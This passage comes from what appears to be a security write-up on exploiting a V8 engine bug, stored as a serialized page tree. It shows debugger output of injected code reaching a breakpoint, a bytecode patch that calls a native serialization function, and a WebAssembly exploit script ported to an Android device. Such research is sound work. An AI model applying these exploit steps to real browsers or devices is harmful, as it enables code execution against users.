bug",{"type":26,"tag":475,"props":135380,"children":135381},{"style":499},[135382],{"type":32,"value":626},{"type":26,"tag":475,"props":135384,"children":135385},{"style":2375},[135386],{"type":32,"value":133247},{"type":26,"tag":475,"props":135388,"children":135389},{"style":499},[135390],{"type":32,"value":637},{"type":26,"tag":475,"props":135392,"children":135393},{"style":2375},[135394],{"type":32,"value":124574},{"type":26,"tag":475,"props":135396,"children":135397},{"style":499},[135398],{"type":32,"value":353},{"type":26,"tag":475,"props":135400,"children":135401},{"style":2375},[135402],{"type":32,"value":124574},{"type":26,"tag":475,"props":135404,"children":135405},{"style":499},[135406],{"type":32,"value":3533},{"type":26,"tag":475,"props":135408,"children":135409},{"class":477,"line":770},[135410,135415,135419,135423,135427,135431,135435,135439,135444,135448],{"type":26,"tag":475,"props":135411,"children":135412},{"style":2375},[135413],{"type":32,"value":135414}," result",{"type":26,"tag":475,"props":135416,"children":135417},{"style":714},[135418],{"type":32,"value":2383},{"type":26,"tag":475,"props":135420,"children":135421},{"style":499},[135422],{"type":32,"value":2775},{"type":26,"tag":475,"props":135424,"children":135425},{"style":586},[135426],{"type":32,"value":2476},{"type":26,"tag":475,"props":135428,"children":135429},{"style":2375},[135430],{"type":32,"value":135369},{"type":26,"tag":475,"props":135432,"children":135433},{"style":499},[135434],{"type":32,"value":353},{"type":26,"tag":475,"props":135436,"children":135437},{"style":493},[135438],{"type":32,"value":57257},{"type":26,"tag":475,"props":135440,"children":135441},{"style":499},[135442],{"type":32,"value":135443},"()).",{"type":26,"tag":475,"props":135445,"children":135446},{"style":2375},[135447],{"type":32,"value":38844},{"type":26,"tag":475,"props":135449,"children":135450},{"style":499},[135451],{"type":32,"value":2729},{"type":26,"tag":475,"props":135453,"children":135454},{"class":477,"line":794},[135455,135459,135464,135468,135472,135476,135480,135484,135488,135492],{"type":26,"tag":475,"props":135456,"children":135457},{"style":482},[135458],{"type":32,"value":35883},{"type":26,"tag":475,"props":135460,"children":135461},{"style":2375},[135462],{"type":32,"value":135463}," wasm_instance",{"type":26,"tag":475,"props":135465,"children":135466},{"style":714},[135467],{"type":32,"value":2383},{"type":26,"tag":475,"props":135469,"children":135470},{"style":482},[135471],{"type":32,"value":31633},{"type":26,"tag":475,"props":135473,"children":135474},{"style":2375},[135475],{"type":32,"value":133230},{"type":26,"tag":475,"props":135477,"children":135478},{"style":499},[135479],{"type":32,"value":353},{"type":26,"tag":475,"props":135481,"children":135482},{"style":493},[135483],{"type":32,"value":133284},{"type":26,"tag":475,"props":135485,"children":135486},{"style":499},[135487],{"type":32,"value":626},{"type":26,"tag":475,"props":135489,"children":135490},{"style":2375},[135491],{"type":32,"value":8793},{"type":26,"tag":475,"props":135493,"children":135494},{"style":499},[135495],{"type":32,"value":3533},{"type":26,"tag":475,"props":135497,"children":135498},{"class":477,"line":831},[135499,135503,135507,135511,135515,135519,135523,135527,135531],{"type":26,"tag":475,"props":135500,"children":135501},{"style":482},[135502],{"type":32,"value":35883},{"type":26,"tag":475,"props":135504,"children":135505},{"style":2375},[135506],{"type":32,"value":32668},{"type":26,"tag":475,"props":135508,"children":135509},{"style":714},[135510],{"type":32,"value":2383},{"type":26,"tag":475,"props":135512,"children":135513},{"style":2375},[135514],{"type":32,"value":135463},{"type":26,"tag":475,"props":135516,"children":135517},{"style":499},[135518],{"type":32,"value":353},{"type":26,"tag":475,"props":135520,"children":135521},{"style":2375},[135522],{"type":32,"value":37579},{"type":26,"tag":475,"props":135524,"children":135525},{"style":499},[135526],{"type":32,"value":353},{"type":26,"tag":475,"props":135528,"children":135529},{"style":2375},[135530],{"type":32,"value":133333},{"type":26,"tag":475,"props":135532,"children":135533},{"style":499},[135534],{"type":32,"value":2729},{"type":26,"tag":475,"props":135536,"children":135537},{"class":477,"line":845},[135538,135543],{"type":26,"tag":475,"props":135539,"children":135540},{"style":493},[135541],{"type":32,"value":135542}," f",{"type":26,"tag":475,"props":135544,"children":135545},{"style":499},[135546],{"type":32,"value":3376},{"type":26,"tag":475,"props":135548,"children":135549},{"class":477,"line":854},[135550],{"type":26,"tag":475,"props":135551,"children":135552},{"style":499},[135553],{"type":32,"value":2502},{"type":26,"tag":35,"props":135555,"children":135556},{},[135557],{"type":32,"value":135558},"Running this in a debugger shows the expected breakpoint:",{"type":26,"tag":465,"props":135560,"children":135562},{"code":135561},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n 0x2ae46bfc183c add BYTE PTR [rax], al\n 0x2ae46bfc183e add BYTE PTR [rax], al\n 0x2ae46bfc1840 int3\n → 0x2ae46bfc1841 mov rbp, rsp\n",[135563],{"type":26,"tag":53,"props":135564,"children":135565},{"__ignoreMap":7},[135566],{"type":32,"value":135561},{"type":26,"tag":41,"props":135568,"children":135570},{"id":135569},"porting-to-android",[135571],{"type":32,"value":135572},"Porting to Android",{"type":26,"tag":35,"props":135574,"children":135575},{},[135576,135578,135583,135585,135590,135592,135597,135599,135605],{"type":32,"value":135577},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":26,"tag":53,"props":135579,"children":135581},{"className":135580},[],[135582],{"type":32,"value":132362},{"type":32,"value":135584}," fails. We cross-compiled ",{"type":26,"tag":53,"props":135586,"children":135588},{"className":135587},[],[135589],{"type":32,"value":131521},{"type":32,"value":135591}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":26,"tag":53,"props":135593,"children":135595},{"className":135594},[],[135596],{"type":32,"value":132362},{"type":32,"value":135598}," returned ",{"type":26,"tag":53,"props":135600,"children":135602},{"className":135601},[],[135603],{"type":32,"value":135604},"undefined",{"type":32,"value":353},{"type":26,"tag":35,"props":135607,"children":135608},{},[135609,135611,135616,135618,135623],{"type":32,"value":135610},"Instead, we modified the bytecode to call ",{"type":26,"tag":53,"props":135612,"children":135614},{"className":135613},[],[135615],{"type":32,"value":132388},{"type":32,"value":135617}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":26,"tag":53,"props":135619,"children":135621},{"className":135620},[],[135622],{"type":32,"value":132362},{"type":32,"value":353},{"type":26,"tag":465,"props":135625,"children":135627},{"code":135626,"language":35311,"meta":7,"className":35309,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n a1 + 0x03027a6c;\n throw 0x393e71a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[135628],{"type":26,"tag":53,"props":135629,"children":135630},{"__ignoreMap":7},[135631,135642,135686,135706,135722,135745,135772,135787],{"type":26,"tag":475,"props":135632,"children":135633},{"class":477,"line":478},[135634,135638],{"type":26,"tag":475,"props":135635,"children":135636},{"style":586},[135637],{"type":32,"value":48025},{"type":26,"tag":475,"props":135639,"children":135640},{"style":499},[135641],{"type":32,"value":579},{"type":26,"tag":475,"props":135643,"children":135644},{"class":477,"line":516},[135645,135649,135653,135657,135661,135665,135669,135674,135678,135682],{"type":26,"tag":475,"props":135646,"children":135647},{"style":2375},[135648],{"type":32,"value":132629},{"type":26,"tag":475,"props":135650,"children":135651},{"style":499},[135652],{"type":32,"value":76247},{"type":26,"tag":475,"props":135654,"children":135655},{"style":629},[135656],{"type":32,"value":132638},{"type":26,"tag":475,"props":135658,"children":135659},{"style":499},[135660],{"type":32,"value":353},{"type":26,"tag":475,"props":135662,"children":135663},{"style":493},[135664],{"type":32,"value":132647},{"type":26,"tag":475,"props":135666,"children":135667},{"style":499},[135668],{"type":32,"value":626},{"type":26,"tag":475,"props":135670,"children":135671},{"style":903},[135672],{"type":32,"value":135673},"0x059301",{"type":26,"tag":475,"props":135675,"children":135676},{"style":714},[135677],{"type":32,"value":50947},{"type":26,"tag":475,"props":135679,"children":135680},{"style":903},[135681],{"type":32,"value":4234},{"type":26,"tag":475,"props":135683,"children":135684},{"style":499},[135685],{"type":32,"value":132669},{"type":26,"tag":475,"props":135687,"children":135688},{"class":477,"line":539},[135689,135693,135697,135702],{"type":26,"tag":475,"props":135690,"children":135691},{"style":2375},[135692],{"type":32,"value":132677},{"type":26,"tag":475,"props":135694,"children":135695},{"style":714},[135696],{"type":32,"value":8616},{"type":26,"tag":475,"props":135698,"children":135699},{"style":903},[135700],{"type":32,"value":135701}," 0x03027a6c",{"type":26,"tag":475,"props":135703,"children":135704},{"style":499},[135705],{"type":32,"value":2729},{"type":26,"tag":475,"props":135707,"children":135708},{"class":477,"line":548},[135709,135713,135718],{"type":26,"tag":475,"props":135710,"children":135711},{"style":586},[135712],{"type":32,"value":34897},{"type":26,"tag":475,"props":135714,"children":135715},{"style":903},[135716],{"type":32,"value":135717}," 0x393e71a",{"type":26,"tag":475,"props":135719,"children":135720},{"style":499},[135721],{"type":32,"value":2729},{"type":26,"tag":475,"props":135723,"children":135724},{"class":477,"line":558},[135725,135729,135733,135737,135741],{"type":26,"tag":475,"props":135726,"children":135727},{"style":499},[135728],{"type":32,"value":46567},{"type":26,"tag":475,"props":135730,"children":135731},{"style":586},[135732],{"type":32,"value":661},{"type":26,"tag":475,"props":135734,"children":135735},{"style":499},[135736],{"type":32,"value":2775},{"type":26,"tag":475,"props":135738,"children":135739},{"style":2375},[135740],{"type":32,"value":689},{"type":26,"tag":475,"props":135742,"children":135743},{"style":499},[135744],{"type":32,"value":676},{"type":26,"tag":475,"props":135746,"children":135747},{"class":477,"line":582},[135748,135752,135756,135760,135764,135768],{"type":26,"tag":475,"props":135749,"children":135750},{"style":2375},[135751],{"type":32,"value":2458},{"type":26,"tag":475,"props":135753,"children":135754},{"style":499},[135755],{"type":32,"value":353},{"type":26,"tag":475,"props":135757,"children":135758},{"style":493},[135759],{"type":32,"value":2467},{"type":26,"tag":475,"props":135761,"children":135762},{"style":499},[135763],{"type":32,"value":626},{"type":26,"tag":475,"props":135765,"children":135766},{"style":629},[135767],{"type":32,"value":132753},{"type":26,"tag":475,"props":135769,"children":135770},{"style":499},[135771],{"type":32,"value":3533},{"type":26,"tag":475,"props":135773,"children":135774},{"class":477,"line":596},[135775,135779,135783],{"type":26,"tag":475,"props":135776,"children":135777},{"style":586},[135778],{"type":32,"value":132765},{"type":26,"tag":475,"props":135780,"children":135781},{"style":2375},[135782],{"type":32,"value":132770},{"type":26,"tag":475,"props":135784,"children":135785},{"style":499},[135786],{"type":32,"value":2729},{"type":26,"tag":475,"props":135788,"children":135789},{"class":477,"line":610},[135790],{"type":26,"tag":475,"props":135791,"children":135792},{"style":499},[135793],{"type":32,"value":3607},{"type":26,"tag":35,"props":135795,"children":135796},{},[135797,135799,135805,135807,135813,135815,135821,135823,135828,135830,135836,135838,135843,135844,135850],{"type":32,"value":135798},"Here, ",{"type":26,"tag":53,"props":135800,"children":135802},{"className":135801},[],[135803],{"type":32,"value":135804},"a1 + 0x03027a6c",{"type":32,"value":135806}," generates the bytes ",{"type":26,"tag":53,"props":135808,"children":135810},{"className":135809},[],[135811],{"type":32,"value":135812},"01 4b 6c 7a 02 03",{"type":32,"value":135814},", where ",{"type":26,"tag":53,"props":135816,"children":135818},{"className":135817},[],[135819],{"type":32,"value":135820},"0x6c",{"type":32,"value":135822}," is the ",{"type":26,"tag":53,"props":135824,"children":135826},{"className":135825},[],[135827],{"type":32,"value":132346},{"type":32,"value":135829}," opcode, ",{"type":26,"tag":53,"props":135831,"children":135833},{"className":135832},[],[135834],{"type":32,"value":135835},"0x027a",{"type":32,"value":135837}," is the function ID of ",{"type":26,"tag":53,"props":135839,"children":135841},{"className":135840},[],[135842],{"type":32,"value":132388},{"type":32,"value":6201},{"type":26,"tag":53,"props":135845,"children":135847},{"className":135846},[],[135848],{"type":32,"value":135849},"0x03",{"type":32,"value":135851}," is the register index holding its first argument.",{"type":26,"tag":35,"props":135853,"children":135854},{},[135855,135857,135862,135863,135868,135870,135875],{"type":32,"value":135856},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":26,"tag":53,"props":135858,"children":135860},{"className":135859},[],[135861],{"type":32,"value":132388},{"type":32,"value":209},{"type":26,"tag":53,"props":135864,"children":135866},{"className":135865},[],[135867],{"type":32,"value":133356},{"type":32,"value":135869},". To avoid patching the bytecode again to invoke ",{"type":26,"tag":53,"props":135871,"children":135873},{"className":135872},[],[135874],{"type":32,"value":133356},{"type":32,"value":135876},", we can force Turbofan to compile the target function like this:",{"type":26,"tag":465,"props":135878,"children":135880},{"code":135879,"language":35311,"meta":7,"className":35309,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n func();\n}\n",[135881],{"type":26,"tag":53,"props":135882,"children":135883},{"__ignoreMap":7},[135884,135892,135952,135964],{"type":26,"tag":475,"props":135885,"children":135886},{"class":477,"line":478},[135887],{"type":26,"tag":475,"props":135888,"children":135889},{"style":552},[135890],{"type":32,"value":135891},"// %WasmTierUpFunction(func);\n",{"type":26,"tag":475,"props":135893,"children":135894},{"class":477,"line":516},[135895,135899,135903,135907,135911,135915,135919,135923,135927,135931,135936,135940,135944,135948],{"type":26,"tag":475,"props":135896,"children":135897},{"style":586},[135898],{"type":32,"value":3099},{"type":26,"tag":475,"props":135900,"children":135901},{"style":499},[135902],{"type":32,"value":2775},{"type":26,"tag":475,"props":135904,"children":135905},{"style":482},[135906],{"type":32,"value":11496},{"type":26,"tag":475,"props":135908,"children":135909},{"style":2375},[135910],{"type":32,"value":3104},{"type":26,"tag":475,"props":135912,"children":135913},{"style":714},[135914],{"type":32,"value":2383},{"type":26,"tag":475,"props":135916,"children":135917},{"style":903},[135918],{"type":32,"value":2752},{"type":26,"tag":475,"props":135920,"children":135921},{"style":499},[135922],{"type":32,"value":16933},{"type":26,"tag":475,"props":135924,"children":135925},{"style":2375},[135926],{"type":32,"value":3445},{"type":26,"tag":475,"props":135928,"children":135929},{"style":714},[135930],{"type":32,"value":8430},{"type":26,"tag":475,"props":135932,"children":135933},{"style":903},[135934],{"type":32,"value":135935}," 0x100000",{"type":26,"tag":475,"props":135937,"children":135938},{"style":499},[135939],{"type":32,"value":16933},{"type":26,"tag":475,"props":135941,"children":135942},{"style":2375},[135943],{"type":32,"value":3445},{"type":26,"tag":475,"props":135945,"children":135946},{"style":714},[135947],{"type":32,"value":50961},{"type":26,"tag":475,"props":135949,"children":135950},{"style":499},[135951],{"type":32,"value":676},{"type":26,"tag":475,"props":135953,"children":135954},{"class":477,"line":539},[135955,135960],{"type":26,"tag":475,"props":135956,"children":135957},{"style":493},[135958],{"type":32,"value":135959}," func",{"type":26,"tag":475,"props":135961,"children":135962},{"style":499},[135963],{"type":32,"value":3376},{"type":26,"tag":475,"props":135965,"children":135966},{"class":477,"line":548},[135967],{"type":26,"tag":475,"props":135968,"children":135969},{"style":499},[135970],{"type":32,"value":3607},{"type":26,"tag":35,"props":135972,"children":135973},{},[135974],{"type":32,"value":135975},"Finally, running this code on the device:",{"type":26,"tag":465,"props":135977,"children":135979},{"code":135978,"language":35311,"meta":7,"className":35309,"style":7},"(async () => {\n var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n var mod = new WebAssembly.Module(wasm_code);\n var inst = new WebAssembly.Instance(mod);\n var func = inst.exports.shell;\n\n // %WasmTierUpFunction(func);\n for (let i = 0; i \u003C 0x100000; i++) {\n func();\n }\n\n let r = bug(mod);\n result = (await r.next()).value;\n console.log(result);\n\n let result_bytes = new Uint8Array(result);\n console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[135980],{"type":26,"tag":53,"props":135981,"children":135982},{"__ignoreMap":7},[135983,136006,136034,136253,136320,136327,136370,136413,136452,136459,136467,136527,136539,136546,136553,136584,136627,136654,136661,136697,136760],{"type":26,"tag":475,"props":135984,"children":135985},{"class":477,"line":478},[135986,135990,135994,135998,136002],{"type":26,"tag":475,"props":135987,"children":135988},{"style":499},[135989],{"type":32,"value":626},{"type":26,"tag":475,"props":135991,"children":135992},{"style":482},[135993],{"type":32,"value":2350},{"type":26,"tag":475,"props":135995,"children":135996},{"style":499},[135997],{"type":32,"value":2355},{"type":26,"tag":475,"props":135999,"children":136000},{"style":482},[136001],{"type":32,"value":2360},{"type":26,"tag":475,"props":136003,"children":136004},{"style":499},[136005],{"type":32,"value":579},{"type":26,"tag":475,"props":136007,"children":136008},{"class":477,"line":516},[136009,136014,136018,136022,136026,136030],{"type":26,"tag":475,"props":136010,"children":136011},{"style":482},[136012],{"type":32,"value":136013}," var",{"type":26,"tag":475,"props":136015,"children":136016},{"style":2375},[136017],{"type":32,"value":132886},{"type":26,"tag":475,"props":136019,"children":136020},{"style":714},[136021],{"type":32,"value":2383},{"type":26,"tag":475,"props":136023,"children":136024},{"style":482},[136025],{"type":32,"value":31633},{"type":26,"tag":475,"props":136027,"children":136028},{"style":493},[136029],{"type":32,"value":132899},{"type":26,"tag":475,"props":136031,"children":136032},{"style":499},[136033],{"type":32,"value":132904},{"type":26,"tag":475,"props":136035,"children":136036},{"class":477,"line":539},[136037,136041,136045,136049,136053,136057,136061,136065,136069,136073,136077,136081,136085,136089,136093,136097,136101,136105,136109,136113,136117,136121,136125,136129,136133,136137,136141,136145,136149,136153,136157,136161,136165,136169,136173,136177,136181,136185,136189,136193,136197,136201,136205,136209,136213,136217,136221,136225,136229,136233,136237,136241,136245,136249],{"type":26,"tag":475,"props":136038,"children":136039},{"style":903},[136040],{"type":32,"value":133629},{"type":26,"tag":475,"props":136042,"children":136043},{"style":499},[136044],{"type":32,"value":637},{"type":26,"tag":475,"props":136046,"children":136047},{"style":903},[136048],{"type":32,"value":132921},{"type":26,"tag":475,"props":136050,"children":136051},{"style":499},[136052],{"type":32,"value":637},{"type":26,"tag":475,"props":136054,"children":136055},{"style":903},[136056],{"type":32,"value":132930},{"type":26,"tag":475,"props":136058,"children":136059},{"style":499},[136060],{"type":32,"value":637},{"type":26,"tag":475,"props":136062,"children":136063},{"style":903},[136064],{"type":32,"value":132939},{"type":26,"tag":475,"props":136066,"children":136067},{"style":499},[136068],{"type":32,"value":637},{"type":26,"tag":475,"props":136070,"children":136071},{"style":903},[136072],{"type":32,"value":3722},{"type":26,"tag":475,"props":136074,"children":136075},{"style":499},[136076],{"type":32,"value":637},{"type":26,"tag":475,"props":136078,"children":136079},{"style":903},[136080],{"type":32,"value":3732},{"type":26,"tag":475,"props":136082,"children":136083},{"style":499},[136084],{"type":32,"value":637},{"type":26,"tag":475,"props":136086,"children":136087},{"style":903},[136088],{"type":32,"value":3732},{"type":26,"tag":475,"props":136090,"children":136091},{"style":499},[136092],{"type":32,"value":637},{"type":26,"tag":475,"props":136094,"children":136095},{"style":903},[136096],{"type":32,"value":3732},{"type":26,"tag":475,"props":136098,"children":136099},{"style":499},[136100],{"type":32,"value":637},{"type":26,"tag":475,"props":136102,"children":136103},{"style":903},[136104],{"type":32,"value":3722},{"type":26,"tag":475,"props":136106,"children":136107},{"style":499},[136108],{"type":32,"value":637},{"type":26,"tag":475,"props":136110,"children":136111},{"style":903},[136112],{"type":32,"value":17235},{"type":26,"tag":475,"props":136114,"children":136115},{"style":499},[136116],{"type":32,"value":637},{"type":26,"tag":475,"props":136118,"children":136119},{"style":903},[136120],{"type":32,"value":3722},{"type":26,"tag":475,"props":136122,"children":136123},{"style":499},[136124],{"type":32,"value":637},{"type":26,"tag":475,"props":136126,"children":136127},{"style":903},[136128],{"type":32,"value":133004},{"type":26,"tag":475,"props":136130,"children":136131},{"style":499},[136132],{"type":32,"value":637},{"type":26,"tag":475,"props":136134,"children":136135},{"style":903},[136136],{"type":32,"value":3732},{"type":26,"tag":475,"props":136138,"children":136139},{"style":499},[136140],{"type":32,"value":637},{"type":26,"tag":475,"props":136142,"children":136143},{"style":903},[136144],{"type":32,"value":3732},{"type":26,"tag":475,"props":136146,"children":136147},{"style":499},[136148],{"type":32,"value":637},{"type":26,"tag":475,"props":136150,"children":136151},{"style":903},[136152],{"type":32,"value":17002},{"type":26,"tag":475,"props":136154,"children":136155},{"style":499},[136156],{"type":32,"value":637},{"type":26,"tag":475,"props":136158,"children":136159},{"style":903},[136160],{"type":32,"value":2830},{"type":26,"tag":475,"props":136162,"children":136163},{"style":499},[136164],{"type":32,"value":637},{"type":26,"tag":475,"props":136166,"children":136167},{"style":903},[136168],{"type":32,"value":3722},{"type":26,"tag":475,"props":136170,"children":136171},{"style":499},[136172],{"type":32,"value":637},{"type":26,"tag":475,"props":136174,"children":136175},{"style":903},[136176],{"type":32,"value":3732},{"type":26,"tag":475,"props":136178,"children":136179},{"style":499},[136180],{"type":32,"value":637},{"type":26,"tag":475,"props":136182,"children":136183},{"style":903},[136184],{"type":32,"value":54362},{"type":26,"tag":475,"props":136186,"children":136187},{"style":499},[136188],{"type":32,"value":637},{"type":26,"tag":475,"props":136190,"children":136191},{"style":903},[136192],{"type":32,"value":55577},{"type":26,"tag":475,"props":136194,"children":136195},{"style":499},[136196],{"type":32,"value":637},{"type":26,"tag":475,"props":136198,"children":136199},{"style":903},[136200],{"type":32,"value":3722},{"type":26,"tag":475,"props":136202,"children":136203},{"style":499},[136204],{"type":32,"value":637},{"type":26,"tag":475,"props":136206,"children":136207},{"style":903},[136208],{"type":32,"value":17816},{"type":26,"tag":475,"props":136210,"children":136211},{"style":499},[136212],{"type":32,"value":637},{"type":26,"tag":475,"props":136214,"children":136215},{"style":903},[136216],{"type":32,"value":132930},{"type":26,"tag":475,"props":136218,"children":136219},{"style":499},[136220],{"type":32,"value":637},{"type":26,"tag":475,"props":136222,"children":136223},{"style":903},[136224],{"type":32,"value":133101},{"type":26,"tag":475,"props":136226,"children":136227},{"style":499},[136228],{"type":32,"value":637},{"type":26,"tag":475,"props":136230,"children":136231},{"style":903},[136232],{"type":32,"value":133110},{"type":26,"tag":475,"props":136234,"children":136235},{"style":499},[136236],{"type":32,"value":637},{"type":26,"tag":475,"props":136238,"children":136239},{"style":903},[136240],{"type":32,"value":133119},{"type":26,"tag":475,"props":136242,"children":136243},{"style":499},[136244],{"type":32,"value":637},{"type":26,"tag":475,"props":136246,"children":136247},{"style":903},[136248],{"type":32,"value":133119},{"type":26,"tag":475,"props":136250,"children":136251},{"style":499},[136252],{"type":32,"value":2425},{"type":26,"tag":475,"props":136254,"children":136255},{"class":477,"line":548},[136256,136260,136264,136268,136272,136276,136280,136284,136288,136292,136296,136300,136304,136308,136312,136316],{"type":26,"tag":475,"props":136257,"children":136258},{"style":903},[136259],{"type":32,"value":133629},{"type":26,"tag":475,"props":136261,"children":136262},{"style":499},[136263],{"type":32,"value":637},{"type":26,"tag":475,"props":136265,"children":136266},{"style":903},[136267],{"type":32,"value":3732},{"type":26,"tag":475,"props":136269,"children":136270},{"style":499},[136271],{"type":32,"value":637},{"type":26,"tag":475,"props":136273,"children":136274},{"style":903},[136275],{"type":32,"value":88873},{"type":26,"tag":475,"props":136277,"children":136278},{"style":499},[136279],{"type":32,"value":637},{"type":26,"tag":475,"props":136281,"children":136282},{"style":903},[136283],{"type":32,"value":17235},{"type":26,"tag":475,"props":136285,"children":136286},{"style":499},[136287],{"type":32,"value":637},{"type":26,"tag":475,"props":136289,"children":136290},{"style":903},[136291],{"type":32,"value":3722},{"type":26,"tag":475,"props":136293,"children":136294},{"style":499},[136295],{"type":32,"value":637},{"type":26,"tag":475,"props":136297,"children":136298},{"style":903},[136299],{"type":32,"value":2830},{"type":26,"tag":475,"props":136301,"children":136302},{"style":499},[136303],{"type":32,"value":637},{"type":26,"tag":475,"props":136305,"children":136306},{"style":903},[136307],{"type":32,"value":3732},{"type":26,"tag":475,"props":136309,"children":136310},{"style":499},[136311],{"type":32,"value":637},{"type":26,"tag":475,"props":136313,"children":136314},{"style":903},[136315],{"type":32,"value":133195},{"type":26,"tag":475,"props":136317,"children":136318},{"style":499},[136319],{"type":32,"value":2425},{"type":26,"tag":475,"props":136321,"children":136322},{"class":477,"line":558},[136323],{"type":26,"tag":475,"props":136324,"children":136325},{"style":499},[136326],{"type":32,"value":133916},{"type":26,"tag":475,"props":136328,"children":136329},{"class":477,"line":582},[136330,136334,136338,136342,136346,136350,136354,136358,136362,136366],{"type":26,"tag":475,"props":136331,"children":136332},{"style":482},[136333],{"type":32,"value":136013},{"type":26,"tag":475,"props":136335,"children":136336},{"style":2375},[136337],{"type":32,"value":71251},{"type":26,"tag":475,"props":136339,"children":136340},{"style":714},[136341],{"type":32,"value":2383},{"type":26,"tag":475,"props":136343,"children":136344},{"style":482},[136345],{"type":32,"value":31633},{"type":26,"tag":475,"props":136347,"children":136348},{"style":2375},[136349],{"type":32,"value":133230},{"type":26,"tag":475,"props":136351,"children":136352},{"style":499},[136353],{"type":32,"value":353},{"type":26,"tag":475,"props":136355,"children":136356},{"style":493},[136357],{"type":32,"value":85541},{"type":26,"tag":475,"props":136359,"children":136360},{"style":499},[136361],{"type":32,"value":626},{"type":26,"tag":475,"props":136363,"children":136364},{"style":2375},[136365],{"type":32,"value":133247},{"type":26,"tag":475,"props":136367,"children":136368},{"style":499},[136369],{"type":32,"value":3533},{"type":26,"tag":475,"props":136371,"children":136372},{"class":477,"line":596},[136373,136377,136381,136385,136389,136393,136397,136401,136405,136409],{"type":26,"tag":475,"props":136374,"children":136375},{"style":482},[136376],{"type":32,"value":136013},{"type":26,"tag":475,"props":136378,"children":136379},{"style":2375},[136380],{"type":32,"value":133263},{"type":26,"tag":475,"props":136382,"children":136383},{"style":714},[136384],{"type":32,"value":2383},{"type":26,"tag":475,"props":136386,"children":136387},{"style":482},[136388],{"type":32,"value":31633},{"type":26,"tag":475,"props":136390,"children":136391},{"style":2375},[136392],{"type":32,"value":133230},{"type":26,"tag":475,"props":136394,"children":136395},{"style":499},[136396],{"type":32,"value":353},{"type":26,"tag":475,"props":136398,"children":136399},{"style":493},[136400],{"type":32,"value":133284},{"type":26,"tag":475,"props":136402,"children":136403},{"style":499},[136404],{"type":32,"value":626},{"type":26,"tag":475,"props":136406,"children":136407},{"style":2375},[136408],{"type":32,"value":133293},{"type":26,"tag":475,"props":136410,"children":136411},{"style":499},[136412],{"type":32,"value":3533},{"type":26,"tag":475,"props":136414,"children":136415},{"class":477,"line":610},[136416,136420,136424,136428,136432,136436,136440,136444,136448],{"type":26,"tag":475,"props":136417,"children":136418},{"style":482},[136419],{"type":32,"value":136013},{"type":26,"tag":475,"props":136421,"children":136422},{"style":2375},[136423],{"type":32,"value":79638},{"type":26,"tag":475,"props":136425,"children":136426},{"style":714},[136427],{"type":32,"value":2383},{"type":26,"tag":475,"props":136429,"children":136430},{"style":2375},[136431],{"type":32,"value":133263},{"type":26,"tag":475,"props":136433,"children":136434},{"style":499},[136435],{"type":32,"value":353},{"type":26,"tag":475,"props":136437,"children":136438},{"style":2375},[136439],{"type":32,"value":37579},{"type":26,"tag":475,"props":136441,"children":136442},{"style":499},[136443],{"type":32,"value":353},{"type":26,"tag":475,"props":136445,"children":136446},{"style":2375},[136447],{"type":32,"value":133333},{"type":26,"tag":475,"props":136449,"children":136450},{"style":499},[136451],{"type":32,"value":2729},{"type":26,"tag":475,"props":136453,"children":136454},{"class":477,"line":650},[136455],{"type":26,"tag":475,"props":136456,"children":136457},{"emptyLinePlaceholder":18},[136458],{"type":32,"value":545},{"type":26,"tag":475,"props":136460,"children":136461},{"class":477,"line":679},[136462],{"type":26,"tag":475,"props":136463,"children":136464},{"style":552},[136465],{"type":32,"value":136466}," // %WasmTierUpFunction(func);\n",{"type":26,"tag":475,"props":136468,"children":136469},{"class":477,"line":735},[136470,136475,136479,136483,136487,136491,136495,136499,136503,136507,136511,136515,136519,136523],{"type":26,"tag":475,"props":136471,"children":136472},{"style":586},[136473],{"type":32,"value":136474}," for",{"type":26,"tag":475,"props":136476,"children":136477},{"style":499},[136478],{"type":32,"value":2775},{"type":26,"tag":475,"props":136480,"children":136481},{"style":482},[136482],{"type":32,"value":11496},{"type":26,"tag":475,"props":136484,"children":136485},{"style":2375},[136486],{"type":32,"value":3104},{"type":26,"tag":475,"props":136488,"children":136489},{"style":714},[136490],{"type":32,"value":2383},{"type":26,"tag":475,"props":136492,"children":136493},{"style":903},[136494],{"type":32,"value":2752},{"type":26,"tag":475,"props":136496,"children":136497},{"style":499},[136498],{"type":32,"value":16933},{"type":26,"tag":475,"props":136500,"children":136501},{"style":2375},[136502],{"type":32,"value":3445},{"type":26,"tag":475,"props":136504,"children":136505},{"style":714},[136506],{"type":32,"value":8430},{"type":26,"tag":475,"props":136508,"children":136509},{"style":903},[136510],{"type":32,"value":135935},{"type":26,"tag":475,"props":136512,"children":136513},{"style":499},[136514],{"type":32,"value":16933},{"type":26,"tag":475,"props":136516,"children":136517},{"style":2375},[136518],{"type":32,"value":3445},{"type":26,"tag":475,"props":136520,"children":136521},{"style":714},[136522],{"type":32,"value":50961},{"type":26,"tag":475,"props":136524,"children":136525},{"style":499},[136526],{"type":32,"value":676},{"type":26,"tag":475,"props":136528,"children":136529},{"class":477,"line":744},[136530,136535],{"type":26,"tag":475,"props":136531,"children":136532},{"style":493},[136533],{"type":32,"value":136534}," 